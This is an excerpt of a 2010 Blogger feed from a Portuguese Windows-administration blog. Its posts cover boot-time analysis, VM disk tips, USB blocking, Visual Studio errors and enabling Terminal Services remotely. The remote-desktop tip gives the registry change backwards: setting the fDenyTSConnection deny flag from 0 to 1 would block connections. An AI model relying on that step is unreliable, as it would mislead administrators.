&lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3357179675114160801?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3357179675114160801/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3357179675114160801&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3357179675114160801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3357179675114160801'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/05/perguntas-1-ativando-dhcp-em-uma.html' title='Perguntas #1 – Ativando DHCP em uma conexão'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-381251542759313533</id><published>2010-05-09T20:28:00.001-03:00</published><updated>2010-05-15T17:26:52.110-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Outros'/><title type='text'>Informações úteis</title><content type='html'>&lt;p&gt;Criei este post para utilizar como página para os links que são exibidos no canto superior da página.&lt;/p&gt; &lt;a name="sobre"&gt;&lt;/a&gt;  &lt;h2&gt;Sobre o blog&lt;/h2&gt;  &lt;p&gt;Antes de mais nada, um aviso importante: este blog é o meu blog pessoal, blog do Vinicius Canto Xavier. Os artigos, dicas e opiniões aqui expressas não refletem de forma alguma a opinião das empresas onde eu trabalho. Eles não se responsabilizam por nada publicado aqui. Também não garantem (nem eu) o funcionamento das técnicas e truques ensinados por meio deste canal. Pense nisso como uma dica que você recebe de alguém durante o cafezinho: deve funcionar, teste e use por sua conta.&lt;/p&gt;  &lt;p&gt;Todas as dicas aqui publicadas são certificadas pelo &lt;a href="http://jcooney.net/archive/2007/02/01/42999.aspx"&gt;“Works on My Machine Program”&lt;/a&gt;. Eu não recomendo nada daqui para uso em produção, portanto, use por sua própria conta e risco.&lt;/p&gt;  &lt;p&gt;Criei o blog com a seguinte idéia na cabeça: preciso escrever as coisas bacanas que me aparecem durante o dia para que eu consiga encontrá-las quando precisar. A idéia do blog não era ajudar ninguém… mas sim a mim mesmo. Quer lugar melhor do que a Internet para guardar alguma coisa? É só publicar em um blog, algum crawler vem e indexa para você. Simples, não?&lt;/p&gt;  &lt;p&gt;No entanto, o negócio cresceu. Muita gente acabou gostando das idéias e dos truques aqui publicados. Meu trabalho então é só manter o site no ar, e com uma boa indexação. Quando alguém precisar, é só me encontrar no site de busca mais próximo.&lt;/p&gt; &lt;a name="contato"&gt;&lt;/a&gt;  &lt;h2&gt;Entre em contato com o Vinicius&lt;/h2&gt;  &lt;p&gt;Uma das coisas que ainda vão entrar no ar é o recurso de submissão de dúvidas. Enquanto eu não crio (pensei em algo parecido com o Formspring, mas preciso de algo que mostre a fila de perguntas ainda a responder), podem mandar as dúvidas diretamente no meu e-mail público:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_l3eDYIF1qmk/S-dFFNYiLVI/AAAAAAAAAJc/G7CiHOJvYPU/s1600-h/mail%5B3%5D.png"&gt;&lt;img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="mail" border="0" alt="mail" src="http://lh5.ggpht.com/_l3eDYIF1qmk/S-dFF916okI/AAAAAAAAAJg/msXKV5Ke4zQ/mail_thumb%5B1%5D.png?imgmax=800" width="154" height="32" /&gt;&lt;/a&gt;&lt;strong&gt;Por favor, sejam inteligentes, escrevam de forma coerente, correta e procurem a resposta antes na internet ou não terão resposta&lt;/strong&gt;. Eu responderei assim que possível. Isso pode demorar, principalmente nas semanas que eu trabalhar bastante. Dado que é um trabalho voluntário, tá ótimo. Para opções de suporte de qualidade com SLAs aceitáveis, sugiro procurar uma consultoria especializada nisso.&lt;/p&gt; &lt;a name="busca"&gt;&lt;/a&gt;  &lt;h2&gt;Buscar dentro site&lt;/h2&gt;  &lt;p&gt;Sim, finalmente eu consegui. Agora você pode buscar artigos publicados neste site. Use um dos motores de busca abaixo. Se cair em alguma página mal formatada (devido ao layout novo), entre em contato comigo por e-mail que eu corrijo. Há duas opções: o tradicional Google...&lt;/p&gt;   &lt;style type="text/css"&gt;
@import url(http://www.google.com/cse/api/branding.css);
&lt;/style&gt; &lt;div class="cse-branding-right" style="background-color:#FFFFFF;color:#000000"&gt;   &lt;div class="cse-branding-form"&gt;     &lt;form action="http://www.google.com/cse" id="cse-search-box" target="_blank"&gt;       &lt;div&gt;         &lt;input type="hidden" name="cx" value="partner-pub-4737410274198275:apivhvfk5id" /&gt;         &lt;input type="hidden" name="ie" value="UTF-8" /&gt;         &lt;input type="text" name="q" size="50" /&gt;         &lt;input type="submit" name="sa" value="Pesquisar" /&gt;       &lt;/div&gt;     &lt;/form&gt;   &lt;/div&gt;   &lt;div class="cse-branding-logo"&gt;     &lt;img src="http://www.google.com/images/poweredby_transparent/poweredby_FFFFFF.gif" alt="Google" /&gt;   &lt;/div&gt;   &lt;div class="cse-branding-text"&gt;     Pesquisa personalizada   &lt;/div&gt; &lt;/div&gt;   &lt;!--

&lt;style type="text/css"&gt;
@import url(http://www.google.com/cse/api/branding.css);
&lt;/style&gt;
&lt;div class="cse-branding-right" style="background-color:#FFFFFF;color:#000000"&gt;
  &lt;div class="cse-branding-form"&gt;
    &lt;form action="http://www.google.com/cse" id="cse-search-box" target="_blank"&gt;
      &lt;div&gt;
        &lt;input type="hidden" name="cx" value="partner-pub-4737410274198275:apivhvfk5id" /&gt;
        &lt;input type="hidden" name="ie" value="UTF-8" /&gt;
        &lt;input type="text" name="q" size="50" /&gt;
        &lt;input type="submit" name="sa" value="Pesquisar" /&gt;
      &lt;/div&gt;
    &lt;/form&gt;
  &lt;/div&gt;
  &lt;div class="cse-branding-logo"&gt;
    &lt;img src="http://www.google.com/images/poweredby_transparent/poweredby_FFFFFF.gif" alt="Google" /&gt;
  &lt;/div&gt;
  &lt;div class="cse-branding-text"&gt;
    Pesquisa personalizada
  &lt;/div&gt;
&lt;/div&gt;
 
--&gt; &lt;p&gt;...ou ainda no Bing:&lt;/p&gt; &lt;form method="get" action="http://www.bing.com/search"&gt;&lt;input type="hidden" name="cp" /&gt; &lt;input type="hidden" name="FORM" /&gt;     &lt;table bgcolor="#ffffff"&gt;&lt;tbody&gt;       &lt;tr&gt;         &lt;td&gt;&lt;a href="http://www.bing.com/"&gt;&lt;img border="0" alt="bing" src="http://www.bing.com/siteowner/s/siteowner/Logo_51x19_Dark.png" /&gt; &lt;/a&gt;&lt;/td&gt;          &lt;td&gt;&lt;input size="size" name="q" /&gt; &lt;input type="submit" /&gt; &lt;input type="hidden" name="q1" /&gt; &lt;/td&gt;       &lt;/tr&gt;     &lt;/tbody&gt;&lt;/table&gt; &lt;/form&gt;  &lt;p&gt;Por hoje é isso. Espero ter resolvido as principais requisições do pessoal que costuma acessar meu site. Até mais!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-381251542759313533?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/381251542759313533/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=381251542759313533&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/381251542759313533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/381251542759313533'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/05/informacoes-uteis.html' title='Informações úteis'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_l3eDYIF1qmk/S-dFF916okI/AAAAAAAAAJg/msXKV5Ke4zQ/s72-c/mail_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-1687403801250763928</id><published>2010-05-08T13:02:00.001-03:00</published><updated>2010-05-08T13:02:27.632-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Internals'/><title type='text'>Diminuindo o tempo de boot do Windows</title><content type='html'>&lt;p&gt;&lt;em&gt;Análises de desempenho que não levam em consideração todo o funcionamento do sistema tem grandes chances de chegar a conclusões erradas&lt;/em&gt;. &lt;/p&gt;  &lt;p&gt;Não sou só eu que penso dessa forma. Qualquer pessoa que já enfrentou o trabalho de tornar sistemas que ficaram lentos em sistemas rápidos já viu isso: quando se olha somente para uma parte do sistema, boas oportunidades são perdidas.&lt;/p&gt;  &lt;p&gt;Acabo de ler &lt;a href="http://www.anomalousanomaly.com/2009/05/21/the-mystery-of-the-horrible-boot-speed/"&gt;um ótimo artigo&lt;/a&gt; sobre como você pode melhorar o tempo de boot do Windows. Um bom começo para a análise é tentar descobrir o que acontece durante &lt;strong&gt;todo &lt;/strong&gt;o processo de inicialização. É possível ver gráficos assim:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_l3eDYIF1qmk/S-WLC-OhAgI/AAAAAAAAAJU/6WiXjoAozhk/s1600-h/1.1-holy-crap-long-boot%5B5%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="1.1-holy-crap-long-boot" border="0" alt="1.1-holy-crap-long-boot" src="http://lh3.ggpht.com/_l3eDYIF1qmk/S-WLEWZwEZI/AAAAAAAAAJY/efNYld1HKbA/1.1-holy-crap-long-boot_thumb%5B3%5D.png?imgmax=800" width="640" height="397" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;O artigo não descreve exatamente o que fazer para melhorar, mas é um ótimo exemplo de análise observando o todo. Há também dicas sobre onde obter mais informações sobre o BootVis, programa que ele usou para tirar um retrato do que acontece na inicialização.&lt;/p&gt;  &lt;p&gt;Muita gente enxerga o Windows com uma caixa preta, mas isso reflete a falta de informação das pessoas com relação ao SO. Usuários Linux se interessam muito mais sobre o funcionamento dele do que os usuários Windows. Uma outra boa dica de leitura para entender melhor como o Windows funciona é o &lt;a href="http://www.amazon.com/Windows%C2%AE-Internals-Including-Windows-PRO-Developer/dp/0735625301"&gt;Windows Internals&lt;/a&gt;, do Russinovich.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-1687403801250763928?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/1687403801250763928/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=1687403801250763928&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1687403801250763928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1687403801250763928'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/05/diminuindo-o-tempo-de-boot-do-windows.html' title='Diminuindo o tempo de boot do Windows'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_l3eDYIF1qmk/S-WLEWZwEZI/AAAAAAAAAJY/efNYld1HKbA/s72-c/1.1-holy-crap-long-boot_thumb%5B3%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3740906208234311524</id><published>2010-04-11T12:27:00.001-03:00</published><updated>2010-04-11T12:27:58.992-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualização'/><title type='text'>Dicas para máquinas virtuais – Parte 1</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;algumas dicas aleatórias sobre máquinas virtuais:&lt;/p&gt;  &lt;h2&gt;VM do Visual Studio 2010&lt;/h2&gt;  &lt;p&gt;Para quem baixou a VM para estudar o Visual Studio, fica a dica: configure a memória do SQL Server que vem instalado. Ele está com a configuração padrão, e vai usar toda a memória disponível. Baixe para algo entre 128 e 1024 Mb de RAM, dependendo da quantidade total que você deixou para a VM e para o host. Apenas não deixe a configuração padrão.&lt;/p&gt;  &lt;p&gt;Para quem quiser estudar, é possível baixar uma VM com o VS2010 RC instalado, além do SQL Server e Office. O link é esse: &lt;/p&gt;  &lt;h2&gt;AHCI em máquinas virtuais&lt;/h2&gt;  &lt;p&gt;Se você estiver usando uma VM com Vista, Windows 7, 2008 ou 2008 R2, é bem mais fácil configurar a VM para usar o driver AHCI ao invés do IDE padrão. A vantagem é que o acesso a disco da VM fica mais rápido (nos meus testes, algo da ordem de 20%) se você configurar o software de virtualização para usar uma controladora SATA (ou SCSI) ao invés da controladora IDE.&lt;/p&gt;  &lt;p&gt;Para fazer isso, basta alterar o valor &lt;strong&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\msahci\Start&lt;/strong&gt; com o valor 0. Veja:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_l3eDYIF1qmk/S8HqevGr80I/AAAAAAAAAJM/-BNgBGZEeMM/s1600-h/image%5B6%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_l3eDYIF1qmk/S8HqfYtjVpI/AAAAAAAAAJQ/kQpqQkvu34Q/image_thumb%5B4%5D.png?imgmax=800" width="837" height="421" /&gt;&lt;/a&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Feito isso, basta reiniciar a VM e configurar o software de virtualização para usar SATA ao invés de IDE (Hyper-V, VMWare e VirtualBox suportam isso, enquanto VirtualPC e derivados não).&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3740906208234311524?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3740906208234311524/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3740906208234311524&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3740906208234311524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3740906208234311524'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/04/dicas-para-maquinas-virtuais-parte-1.html' title='Dicas para máquinas virtuais – Parte 1'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_l3eDYIF1qmk/S8HqfYtjVpI/AAAAAAAAAJQ/kQpqQkvu34Q/s72-c/image_thumb%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6644285386304742661</id><published>2010-04-07T18:47:00.001-03:00</published><updated>2010-04-07T18:47:02.533-03:00</updated><title type='text'>Bloqueadores de USB para Windows: opções disponíveis</title><content type='html'>&lt;p&gt;Essa é uma dúvida muito comum. De cada 10 perguntas que me chegam hoje por e-mail (calma, vou colocar o sistema automático no ar já já), ao menos uma vem perguntando sobre como bloquear pendrives USB.&lt;/p&gt;  &lt;p&gt;Bloquear nativamente, só desativando drivers, como o &lt;strong&gt;usbstor&lt;/strong&gt;. Mesmo assim, ainda dá pra usar USB de alguma forma (via dispositivos MTP, por exemplo), que não são implementados por esses drivers. Quem quiser seguir essa linha, veja &lt;a href="http://support.microsoft.com/kb/555324"&gt;mais info aqui&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Eu &lt;a href="http://viniciuscanto.blogspot.com/2006/07/how-to-monitor-when-user-pugs-usb.html"&gt;cheguei a criar um script que monitora o uso do USB em máquinas&lt;/a&gt;, de forma bem simples. &lt;strong&gt;Não recomendo o uso em produção&lt;/strong&gt;, era uma POC. Ele é simples demais pra isso, e o e-mail é enviado a partir do cliente, fazendo com que as configurações de envio fiquem &lt;strong&gt;dentro do script&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;Um grande amigo meu encontrou uma solução gratuita e gerenciável para até 50 máquinas. Obrigado pela dica, Mendes! O link está &lt;a href="http://www.netwrix.com/usb_blocker_freeware.html"&gt;aqui&lt;/a&gt;.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6644285386304742661?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6644285386304742661/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6644285386304742661&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6644285386304742661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6644285386304742661'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/04/bloqueadores-de-usb-para-windows-opcoes.html' title='Bloqueadores de USB para Windows: opções disponíveis'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-470757768463816345</id><published>2010-04-03T18:51:00.001-03:00</published><updated>2010-04-03T18:52:36.938-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Studio 2008'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Error spawning RC.EXE no VS 2008 SP1 – parte 2/2</title><content type='html'>&lt;p&gt;Conforme &lt;a href="http://viniciuscanto.blogspot.com/2010/03/error-spawning-rcexe-no-vs-2008-sp1.html"&gt;postei semana passada&lt;/a&gt;, eu iria testar se reinstalar o Windows SDK resolve esse problema.&lt;/p&gt;  &lt;p&gt;Resposta: resolve sim. Basta reinstalar e reconfigurá-lo pelo menu iniciar para que o Visual Studio use o WSDK 7.0.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-470757768463816345?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/470757768463816345/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=470757768463816345&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/470757768463816345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/470757768463816345'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/04/error-spawning-rcexe-no-vs-2008-sp1.html' title='Error spawning RC.EXE no VS 2008 SP1 – parte 2/2'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8017273696620293243</id><published>2010-04-03T18:49:00.001-03:00</published><updated>2010-04-04T00:20:36.037-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blog'/><title type='text'>Novo layout</title><content type='html'>&lt;p&gt;Depois de muito tempo com um layout pobre e antigo do blogger.com, resolvi atualizar o meu. Usei algumas técnicas bacanas, mas simplesmente não tive paciência para tornar os anúncios XHTML compliant. Existe até um workaround, mas eu não tive tempo de implementar.&lt;/p&gt;  &lt;p&gt;A motivação do layout novo é simples. Eu queria disponibilizar as duas coisas que todo visitante me pede: uma forma para buscar artigos e scripts dentro do blog e uma forma de enviar perguntas e entrar em contato comigo. As páginas já estão prontas, mas ainda estou testando. Logo logo eu coloco no ar.&lt;/p&gt;  &lt;h2&gt;Browsers&lt;/h2&gt;  &lt;p&gt;Desisti do Internet Explorer 6. Vi que menos de 2% dos meus leitores ainda o usam e simplesmente desisti. O trabalho ia aumentar consideravelmente e o retorno, bem pequeno. Mais informações, &lt;a href="http://ie6funeral.com"&gt;aqui&lt;/a&gt; e &lt;a href="http://en.wikipedia.org/wiki/Internet_Explorer_6#Criticism"&gt;aqui&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Optei por não suportar também usuários com menos de 1024 pixels de largura. Isso correspondia a 3% dos usuários. Destes, mais da metade já não ia conseguir usar o site por ser usuário de IE6.&lt;/p&gt;  &lt;p&gt;Ao usuário de IE6, minha recomendação: atualize-se. Seu browser não é seguro, é lento, você já não deve conseguir acessar um monte de sites legais, e os que você acessa com certeza foram adaptados para suportá-lo. Você é algo como um estorvo cibernético. Atualize para a versão mais recente do IE, o IE8, e mantenha uma política para manter seu computador atualizado. Não reclame que ele ficou lento, travando ou qualquer combinação disso se você não teve paciência para mantê-lo atualizado.&lt;/p&gt;  &lt;p&gt;Se você não pode instalar nada no seu computador por ser um computador da empresa, baixe um browser que não precise ser instalado, como as versões nightly (builds de desenvolvimento) do &lt;a href="http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/"&gt;Firefox&lt;/a&gt; e &lt;a href="http://build.chromium.org/buildbot/snapshots/chromium-rel-xp"&gt;Chrome&lt;/a&gt;. Infelizmente o IE ainda não tem nada similar, &lt;a href="http://ie.microsoft.com/testdrive/"&gt;embora isso seja possível de ser feito&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Aos designers, não produzam mais sites para IE6, e cobrem caro quando isso for imprescindível. Use padrões e não esqueça uma aplicação web é um sistema distribuído e que o browser é um componente dela. A versão dele (ou do padrão que você vai seguir) &lt;strong&gt;deve&lt;/strong&gt; estar em toda especificação.&lt;/p&gt;  &lt;h2&gt;Próximos passos&lt;/h2&gt;  &lt;p&gt;A próxima grande mudança vai ser reorganizar as tags… como vocês podem ver no fim da página, está bem bagunçado.&lt;/p&gt;  &lt;p&gt;Espero que gostem,&lt;/p&gt;  &lt;p&gt;Até logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8017273696620293243?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8017273696620293243/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8017273696620293243&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8017273696620293243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8017273696620293243'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/04/novo-layout.html' title='Novo layout'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5598678265822046154</id><published>2010-03-29T18:41:00.001-03:00</published><updated>2010-04-03T18:52:09.213-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Studio 2008'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Error spawning RC.EXE no VS 2008 SP1 – parte 1/2</title><content type='html'>&lt;p&gt;Recado rápido: aos que estiverem recebendo esta mensagem ao tentar compilar algum programa C++ no Visual Studio 2008 SP1, fica a dica: verifiquem se o Platform SDK foi instalado corretamente.&lt;/p&gt;  &lt;p&gt;Ele é instalado normalmente junto com o Visual Studio (se você pedir para incluir o ambiente C++), e sequer aparece na lista de programas instalados.&lt;/p&gt;  &lt;p&gt;Se por um acaso você parar a instalação no meio por algum motivo (no meu caso, puxei o cabo de força sem querer), é bem provável que reinstalar ou reparar apenas vá deixar seu VS meio capenga. Descobri isso hoje, meses depois de instalar, que meu C++ não funcionava direito porque o Platform SDK não estava instalado completamente. Pra falar a verdade, não tinha quase nada dele instalado.&lt;/p&gt;  &lt;p&gt;Solução: ainda não encontrei. Vou tentar instalar o Platform SDK 6.0a novamente e ver no que dá.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5598678265822046154?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5598678265822046154/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5598678265822046154&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5598678265822046154'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5598678265822046154'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/03/error-spawning-rcexe-no-vs-2008-sp1.html' title='Error spawning RC.EXE no VS 2008 SP1 – parte 1/2'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-7924800626348434257</id><published>2010-03-09T22:33:00.001-03:00</published><updated>2010-03-10T08:28:23.702-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Terminal Services'/><title type='text'>Ativando o Terminal Services remotamente</title><content type='html'>&lt;p&gt;Aqui vai uma dica muito bacana: como ativar o TS de outro computador via rede.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://oreilly.com/windows/archive/server-hacks-remote-desktop.html" href="http://oreilly.com/windows/archive/server-hacks-remote-desktop.html"&gt;http://oreilly.com/windows/archive/server-hacks-remote-desktop.html&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Observações do Vinicius:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;O procedimento, em uma linha: trocar o valor &lt;em&gt;fDenyTSConnection &lt;/em&gt;de 0 para 1. Ele fica na chave &lt;em&gt;HKLM\System\CurrentControlSet\Control\Terminal Server&lt;/em&gt; &lt;/li&gt;    &lt;li&gt;Vale usar o que você quiser para fazer isso: psexec, REG ADD, WMIC PROCESS, telnet, Registro Remoto… no tutorial acima ele usa esse último. Eu recomendo o primeiro ou o segundo, por praticidade. &lt;/li&gt;    &lt;li&gt;Obviamente, você deve ter uma conta de administrador na máquina remota. Se a conta estiver desativada, nada feito. &lt;/li&gt;    &lt;li&gt;O reboot pode não ser obrigatório. Basta reiniciar o serviço termservice. Você pode fazer isso com o comando sc &lt;a href="file://\\maquinaremota"&gt;\\maquinaremota&lt;/a&gt; stop termservice.&lt;/li&gt;    &lt;li&gt;Contas sem senha não servem para isso. Aliás, não servem pra praticamente nada dado que o Windows bloqueia acesso remoto sem senha por padrão. &lt;/li&gt;    &lt;li&gt;O UAC pode enganar você. Você pode até configurar ele para não pedir confirmações, mas sua conta vai continuar sendo uma conta simples. Uma conta com direitos administrativos é uma conta dentro do grupo Administradores local (ou em um grupo que pertença a ele). Ponto. &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-7924800626348434257?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/7924800626348434257/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=7924800626348434257&amp;isPopup=true' title='1 Comentários'/><link 